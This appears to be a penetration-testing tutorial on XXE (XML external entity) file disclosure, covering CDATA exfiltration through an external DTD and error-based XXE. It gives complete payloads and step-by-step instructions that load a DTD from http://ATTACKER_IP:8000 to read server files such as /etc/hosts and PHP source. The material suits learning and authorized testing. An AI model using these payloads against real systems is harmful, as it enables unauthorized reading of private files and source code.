XXE β Advanced File Disclosure
Advanced exfiltration with CDATA
Basic file:// references break on source files containing XML special characters (<, >, &). The PHP base64 filter solves this for PHP apps, but a more universal approach is wrapping file content in a CDATA block so the parser treats it as raw data:
<![CDATA[ file content here ]]>
Why direct entity joining fails
A naive attempt to assemble the CDATA wrapper with internal entities is rejected by the XML spec β internal and external entities cannot be joined directly:
<!-- This does NOT work -->
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
Solution β XML Parameter Entities + external DTD
Parameter entities (prefixed with %) can only be used inside a DTD, but if all entities are loaded from an external DTD, they are treated as external entities and can be joined freely.
Step 1 β create xxe.dtd on your server:
<!ENTITY joined "%begin;%file;%end;">
Step 2 β serve it:
python3 -m http.server 8000
Step 3 β reference it from the target:
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://ATTACKER_IP:8000/xxe.dtd">
%xxe;
]>
...
<email>&joined;</email>
The parser loads xxe.dtd, assembles the joined entity as <![CDATA[ <file contents> ]]>, and returns the raw file source in the response β no base64 encoding needed.
Note: Some web servers block files that would cause entity self-reference loops (e.g., index.php referencing itself). Try other files if a specific one fails.
Error-based XXE
Used when the application outputs nothing from the XML response β no reflected entity values, but it does display runtime errors (e.g., PHP errors) and lacks proper exception handling.
Confirm error output
Send malformed XML to see whether errors are shown:
- Delete a closing tag
- Reference a non-existent entity:
&nonExistingEntity;
If a PHP error appears revealing a file path (e.g., the web root), the error channel is usable for exfiltration.
Exploit β trigger a descriptive error containing file contents
Create xxe.dtd on your server:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
The %error; entity tries to load a URI that is nonExistingEntity/<file contents>. Since %nonExistingEntity; doesnβt exist, the parser throws an error with the full constructed string β embedding the file content inside the error message.
Reference it from the target:
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://ATTACKER_IP:8000/xxe.dtd">
%remote;
%error;
]>
No other XML body is needed. The response error will contain the contents of /etc/hosts.
Limitations:
- Output may be truncated for large files
- Special characters in the file may still break the error string
- Less reliable than CDATA exfiltration for source code reading
- Requires the application to display unhandled runtime errors